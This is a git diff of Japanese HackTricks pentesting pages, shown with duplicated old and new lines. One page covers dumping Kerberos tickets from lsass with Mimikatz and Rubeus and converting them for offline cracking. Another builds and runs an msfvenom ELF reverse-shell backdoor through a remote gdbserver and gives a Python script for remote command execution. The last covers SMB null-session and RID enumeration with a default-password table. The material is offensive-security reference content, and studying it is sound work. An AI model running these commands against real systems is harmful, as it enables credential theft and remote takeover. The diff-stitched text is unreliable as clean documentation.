* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
Windowsでは、チケットはセキュリティを担当するlsass（Local Security Authority Subsystem Service）プロセスによって**処理および格納されます**。したがって、Windowsシステムからチケットを取得するには、**lsassと通信してそれらを要求する必要があります**。**非管理者ユーザーは所有しているチケットのみを取得できますが**、**管理者**としては、**すべての**チケットを収集することができます。この目的のために、以下に示すように、ツール**MimikatzまたはRubeus**を使用できます：
|
||||
```bash
|
||||
# Using mimikatz
|
||||
sekurlsa::tickets /export
|
||||
# Using Rubeus
|
||||
## Dump all tickets
|
||||
.\Rubeus dump
|
||||
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
||||
|
||||
## List all tickets
|
||||
.\Rubeus.exe triage
|
||||
## Dump the interesting one by luid
|
||||
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
|
||||
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
||||
```
|
||||
**この情報は以下から取得しました：** [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)****
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>
|
||||
<summary><strong>**htARTE（HackTricks AWS Red Team Expert）**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください。**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする：[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
|
||||
|
||||
</details>
|
||||
|
||||
Windowsのチケットは、セキュリティポリシーを処理する**lsass**（Local Security Authority Subsystem Service）プロセスによって管理および保存されます。これらのチケットを抽出するには、lsassプロセスとやり取りする必要があります。非管理者ユーザーは自分自身のチケットにのみアクセスできますが、管理者はシステム上のすべてのチケットを抽出する特権を持っています。このような操作には、**Mimikatz**と**Rubeus**というツールが広く使用されており、それぞれ異なるコマンドと機能を提供しています。
|
||||
|
||||
### Mimikatz
|
||||
Mimikatzは、Windowsセキュリティとやり取りできる多目的ツールです。チケットの抽出だけでなく、さまざまな他のセキュリティ関連操作にも使用されます。
|
||||
```bash
|
||||
# Extracting tickets using Mimikatz
|
||||
sekurlsa::tickets /export
|
||||
```
|
||||
### Rubeus
|
||||
Rubeusは、Kerberosとのやり取りや操作に特化したツールです。チケットの抽出や処理、その他のKerberos関連の活動に使用されます。
|
||||
```bash
|
||||
# Dumping all tickets using Rubeus
|
||||
.\Rubeus dump
|
||||
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
||||
|
||||
# Listing all tickets
|
||||
.\Rubeus.exe triage
|
||||
|
||||
# Dumping a specific ticket by LUID
|
||||
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
|
||||
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
||||
|
||||
# Renewing a ticket
|
||||
.\Rubeus.exe renew /ticket:<BASE64_TICKET>
|
||||
|
||||
# Converting a ticket to hashcat format for offline cracking
|
||||
.\Rubeus.exe hash /ticket:<BASE64_TICKET>
|
||||
```
|
||||
これらのコマンドを使用する際は、`<BASE64_TICKET>`や`<luid>`などのプレースホルダーを実際のBase64エンコードされたチケットやログオンIDに置き換えてください。これらのツールは、チケットの管理やWindowsのセキュリティメカニズムとのやり取りに幅広い機能を提供します。
|
||||
|
||||
# 参考文献
|
||||
* **[https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,36 +1,36 @@
|
|||
# Pentesting Remote GdbServer
|
||||
# リモートGdbServerのペンテスト
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック！</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私を**フォロー**してください。
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。どこからでもフルペネトレーションテストを実行でき、リコンからレポーティングまでの20以上のツールと機能を備えています。私たちはペネトレーターを置き換えるものではありません - 私たちはカスタムツール、検出・エクスプロイトモジュールを開発して、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためのものです。
|
||||
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**gdbserver**は、他のプログラムをリモートでデバッグすることを可能にするコンピュータプログラムです。デバッグされるプログラムと同じシステム上で実行され、**GNU Debuggerが別のシステムから接続することを可能にします**。つまり、デバッグされる実行ファイルのみがターゲットシステム（"ターゲット"）に存在する必要があり、ソースコードとデバッグされるバイナリファイルのコピーは開発者のローカルコンピュータ（"ホスト"）に存在します。接続はTCPまたはシリアルラインのいずれかです。
|
||||
**gdbserver**は、他のプログラムをリモートでデバッグできるようにするコンピュータプログラムです。デバッグ対象のプログラムと同じシステムで実行され、**GNUデバッガが別のシステムから接続できる**ようにします。つまり、デバッグ対象の実行可能ファイルだけがターゲットシステム（"ターゲット"）に存在する必要があり、ソースコードとデバッグ対象のバイナリファイルのコピーは開発者のローカルコンピュータ（"ホスト"）に存在します。接続はTCPまたはシリアルラインのいずれかで行うことができます。
|
||||
|
||||
任意のポートで**gdbserverをリッスンさせることができます**が、現時点では**nmapはサービスを認識することができません**。
|
||||
**gdbserverを任意のポートでリッスン**させることができ、**現時点ではnmapはそのサービスを認識することができません**。
|
||||
|
||||
## 悪用
|
||||
## Exploitation
|
||||
|
||||
### アップロードと実行
|
||||
### アップロードして実行
|
||||
|
||||
**elfバックドアをmsfvenomで簡単に作成し**、アップロードして実行することができます：
|
||||
**msfvenomを使用して簡単にelfバックドアを作成**し、アップロードして実行することができます：
|
||||
```bash
|
||||
# Trick shared by @B1n4rySh4d0w
|
||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
|
||||
|
|
@ -55,7 +55,7 @@ run
|
|||
```
|
||||
### 任意のコマンドを実行する
|
||||
|
||||
デバッガに任意のコマンドを実行させる別の方法は、[**こちら**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)から取得したpythonカスタムスクリプトを使用することです。
|
||||
別の方法として、**[ここから取得したpythonカスタムスクリプトを使用してデバッガに任意のコマンドを実行させることができます](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)**。
|
||||
```bash
|
||||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||||
target extended-remote 192.168.1.4:2345
|
||||
|
|
@ -74,7 +74,7 @@ r
|
|||
# Run the remote command, e.g. `ls`.
|
||||
rcmd ls
|
||||
```
|
||||
まず、**このスクリプトをローカルに作成します**:
|
||||
まずは**このスクリプトをローカルで作成してください**:
|
||||
|
||||
{% code title="remote-cmd.py" %}
|
||||
```python
|
||||
|
|
@ -193,26 +193,24 @@ gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
|
|||
|
||||
RemoteCmd()
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。どこからでも完全なペネトレーションテストを実行できます。リコンからレポーティングまでの20以上のツールと機能があります。私たちはペネトレーターを置き換えるものではありません - 私たちはカスタムツール、検出・エクスプロイトモジュールを開発して、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために努力しています。
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペネトレーションテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイトモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
|
||||
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) **をチェックしてください！**
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **をフォローする。**
|
||||
* **HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
|||
|
|
@ -1,72 +1,76 @@
|
|||
# 139,445 - Pentesting SMB
|
||||
# 139,445 - SMBのペンテスト
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
|
||||
* **ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
|
||||
|
||||
</details>
|
||||
|
||||
## **ポート139**
|
||||
|
||||
**NetBIOS**は_Network Basic Input Output System_の略です。これは、ローカルエリアネットワーク（LAN）上のアプリケーション、PC、デスクトップがネットワークハードウェアと通信し、ネットワークを介してデータを転送することを可能にするソフトウェアプロトコルです。NetBIOSネットワーク上で実行されるソフトウェアアプリケーションは、NetBIOS名を介して互いに位置を特定し、識別します。NetBIOS名は最大16文字の長さであり、通常、コンピュータ名とは別です。2つのアプリケーションがNetBIOSセッションを開始するとき、1つ（クライアント）が別のクライアント（サーバー）に対して**TCPポート139**を介して「呼び出し」のコマンドを送信します。（[こちら](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)から抜粋）
|
||||
**_ネットワーク基本入出力システム（NetBIOS）_**は、ローカルエリアネットワーク（LAN）内のアプリケーション、PC、およびデスクトップがネットワークハードウェアとやり取りし、**データの送受信を容易にするために設計されたソフトウェアプロトコル**です。 NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と位置は、16文字までのNetBIOS名を使用して達成され、これらはコンピュータ名とは異なることがよくあります。 2つのアプリケーション間のNetBIOSセッションは、1つのアプリケーション（クライアントとして動作）が別のアプリケーション（サーバーとして動作）を「呼び出す」コマンドを発行することによって、**TCPポート139**を使用して開始されます。
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## ポート445
|
||||
|
||||
ポート139が技術的には「NBT over IP」として知られているのに対し、ポート445は「SMB over IP」です。**SMB**は「**Server Message Blocks**」の略です。現代の言葉でのServer Message Blockは、**Common Internet File System**としても知られています。このシステムは、主にファイル、プリンター、シリアルポート、およびネットワーク上のノード間のその他の通信への共有アクセスを提供するために使用されるアプリケーション層ネットワークプロトコルとして機能します。
|
||||
技術的には、ポート139は「NBT over IP」と呼ばれ、ポート445は「SMB over IP」と識別されます。**SMB**とは「**Server Message Blocks**」の頭字語であり、現代では**Common Internet File System (CIFS)**としても知られています。SMB/CIFSはアプリケーション層のネットワークプロトコルであり、主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間でさまざまな形式の通信を容易にします。
|
||||
|
||||
例えば、Windowsでは、SMBはNetBIOS over TCP/IPなしで直接TCP/IP上で実行することができます。これは、あなたが指摘するように、ポート445を使用します。他のシステムでは、ポート139を使用するサービスやアプリケーションを見つけることができます。これは、SMBがNetBIOS over TCP/IPで実行されていることを意味します。(こちらから抜粋 [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
例えば、Windowsの場合、SMBはTCP/IP上で直接動作することが強調されており、ポート445の利用により、NetBIOS over TCP/IPの必要性がなくなります。一方、他のシステムでは、ポート139の使用が観察され、SMBがNetBIOS over TCP/IPと共に実行されていることが示されています。
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
Server Message Block (`SMB`)は、**クライアント-サーバー**プロトコルであり、ファイルやディレクトリ全体、プリンターやルーター、ネットワーク用にリリースされたインターフェースなどのネットワークリソースへの**アクセスを規制**します。このプロトコルの主な適用範囲は、特に**Windows**オペレーティングシステムシリーズであり、そのネットワークサービスは下位互換性を持つ形でSMBをサポートしています - これは、新しいエディションのデバイスが、古いMicrosoftオペレーティングシステムがインストールされたデバイスと容易に通信できることを意味します。\
|
||||
フリーソフトウェアプロジェクトの**Samba**により、**SMB in Linux**やUnixディストリビューションでの使用が可能になり、SMBを介したクロスプラットフォーム通信が実現しています。
|
||||
**Server Message Block (SMB)**プロトコルは、**クライアント-サーバー**モデルで動作し、**ファイルへのアクセス**、ディレクトリ、プリンター、およびルーターなどの他のネットワークリソースへのアクセスを規制するために設計されています。主に**Windows**オペレーティングシステムシリーズで使用されており、SMBは後方互換性を確保し、Microsoftのオペレーティングシステムの新しいバージョンを搭載したデバイスが古いバージョンを実行しているデバイスとシームレスにやり取りできるようにしています。さらに、**Samba**プロジェクトは、SMBを**Linux**およびUnixシステムに実装するための無料ソフトウェアソリューションを提供し、SMBを介したクロスプラットフォーム間の通信を容易にしています。
|
||||
|
||||
SMBサーバーは、ローカルファイルシステムの**任意の部分を共有として提供**できます。したがって、クライアントに**見える階層**は、サーバー上の**構造**とは部分的に**独立**しています。**アクセス権**は`Access Control Lists` (`ACL`)によって定義されます。これらは、個々のユーザーやユーザーグループに対して、**`実行`**、**`読み取り`**、**`完全アクセス`**などの属性に基づいて、**細かく制御**されます。**ACL**は**共有に基づいて定義**されるため、サーバー上でローカルに割り当てられた権利とは一致しません。
|
||||
**ローカルファイルシステムの任意の部分**を表す共有は、SMBサーバーによって提供され、クライアントにサーバーの実際の構造から一部独立した階層を表示します。**アクセス制御リスト（ACL）**は、**アクセス権**を定義し、**`実行`**、**`読み取り`**、および**`完全アクセス`**などの属性を含むユーザー権限に対して**細かい制御**を可能にします。これらの権限は、共有に基づいて個々のユーザーやグループに割り当てることができ、サーバーに設定されたローカル権限とは異なります。
|
||||
|
||||
### IPC$ 共有
|
||||
### IPC$共有
|
||||
|
||||
_**ネットワークセキュリティアセスメント 第3版**_ から
|
||||
IPC$共有へのアクセスは、匿名のヌルセッションを介して取得でき、名前付きパイプを介して公開されたサービスとのやり取りが可能になります。この目的には、ユーティリティ`enum4linux`が役立ちます。適切に使用すると、次の情報を取得できます：
|
||||
|
||||
匿名のnullセッションを使用してIPC$共有にアクセスし、名前付きパイプ経由で公開されているサービスと対話することができます。Kali Linux内のenum4linuxユーティリティは特に有用であり、次の情報を取得できます：
|
||||
- オペレーティングシステムに関する情報
|
||||
- 親ドメインの詳細
|
||||
- ローカルユーザーとグループの一覧
|
||||
- 利用可能なSMB共有に関する情報
|
||||
- 有効なシステムセキュリティポリシー
|
||||
|
||||
* オペレーティングシステム情報
|
||||
* 親ドメインの詳細
|
||||
* ローカルユーザーとグループのリスト
|
||||
* 利用可能なSMB共有の詳細
|
||||
* 効果的なシステムセキュリティポリシー
|
||||
この機能は、ネットワーク管理者やセキュリティ専門家がネットワーク上のSMB（Server Message Block）サービスのセキュリティポストを評価するために重要です。`enum4linux`は、対象システムのSMB環境の包括的なビューを提供し、潜在的な脆弱性を特定し、SMBサービスが適切に保護されていることを確認するために不可欠です。
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
上記のコマンドは、`enum4linux`が`target_ip`で指定されたターゲットに対して完全な列挙を実行する方法の例です。
|
||||
|
||||
## NTLMとは何か
|
||||
|
||||
NTLMが何かわからない場合や、その動作方法や悪用方法を知りたい場合は、**NTLM**について説明されているこのページが非常に興味深いでしょう。**このプロトコルの動作方法とそれを利用する方法が説明されています：**
|
||||
## NTLMとは
|
||||
|
||||
NTLMが何かわからない場合や、それがどのように機能し、どのように悪用できるかを知りたい場合は、**NTLM**に関するこのページが非常に興味深いでしょう。このページでは、**このプロトコルがどのように機能し、どのようにそれを利用できるか**が説明されています：
|
||||
|
||||
{% content-ref url="../windows-hardening/ntlm/" %}
|
||||
[ntlm](../windows-hardening/ntlm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **サーバー列挙**
|
||||
## **サーバーの列挙**
|
||||
|
||||
### ネットワークを**スキャン**してホストを探す：
|
||||
### ネットワークをスキャンしてホストを検索する：
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMBサーバーバージョン
|
||||
|
||||
SMBバージョンに対する可能性のあるエクスプロイトを探すには、使用されているバージョンを知ることが重要です。他のツールでこの情報が表示されない場合、以下の方法があります：
|
||||
SMBバージョンの潜在的な脆弱性を探すためには、使用されているバージョンを知ることが重要です。他のツールにこの情報が表示されない場合は、次の方法を使用できます：
|
||||
|
||||
* **MSF** 補助モジュール **auxiliary/scanner/smb/smb_version** を使用する
|
||||
* または、このスクリプトを使用する：
|
||||
* **MSF**の補助モジュール **_auxiliary/scanner/smb/smb_version** を使用する
|
||||
* または、このスクリプト：
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
|
|
@ -83,28 +87,28 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
|||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **エクスプロイトの検索**
|
||||
### **脆弱性の検索**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **可能性のある** クレデンシャル
|
||||
### **可能性のある**資格情報
|
||||
|
||||
| **ユーザー名** | **一般的なパスワード** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(空白)_ | _(空白)_ |
|
||||
| guest | _(空白)_ |
|
||||
| **ユーザー名** | **一般的なパスワード** |
|
||||
| -------------------- | --------------------------------------- |
|
||||
| _(空白)_ | _(空白)_ |
|
||||
| guest | _(空白)_ |
|
||||
| Administrator, admin | _(空白)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
|
||||
### ブルートフォース
|
||||
### 総当たり攻撃
|
||||
|
||||
* [**SMB ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
* [**SMB総当たり攻撃**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
|
||||
### SMB 環境情報
|
||||
### SMB環境情報
|
||||
|
||||
### 情報の取得
|
||||
```bash
|
||||
|
|
@ -128,9 +132,9 @@ rpcclient -U "username%passwd" <IP> #With creds
|
|||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### ユーザー、グループ、ログオンユーザーの列挙
|
||||
### ユーザー、グループ、およびログインユーザーの列挙
|
||||
|
||||
この情報は、すでにenum4linuxとenum4linux-ngから収集されているべきです。
|
||||
この情報は既にenum4linuxとenum4linux-ngから収集されているはずです。
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
|
|
@ -148,7 +152,9 @@ enumdomgroups
|
|||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Oneliner
|
||||
# Oneliner
|
||||
|
||||
## ワンライナー
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
|
|
@ -158,7 +164,7 @@ use auxiliary/scanner/smb/smb_lookupsid
|
|||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
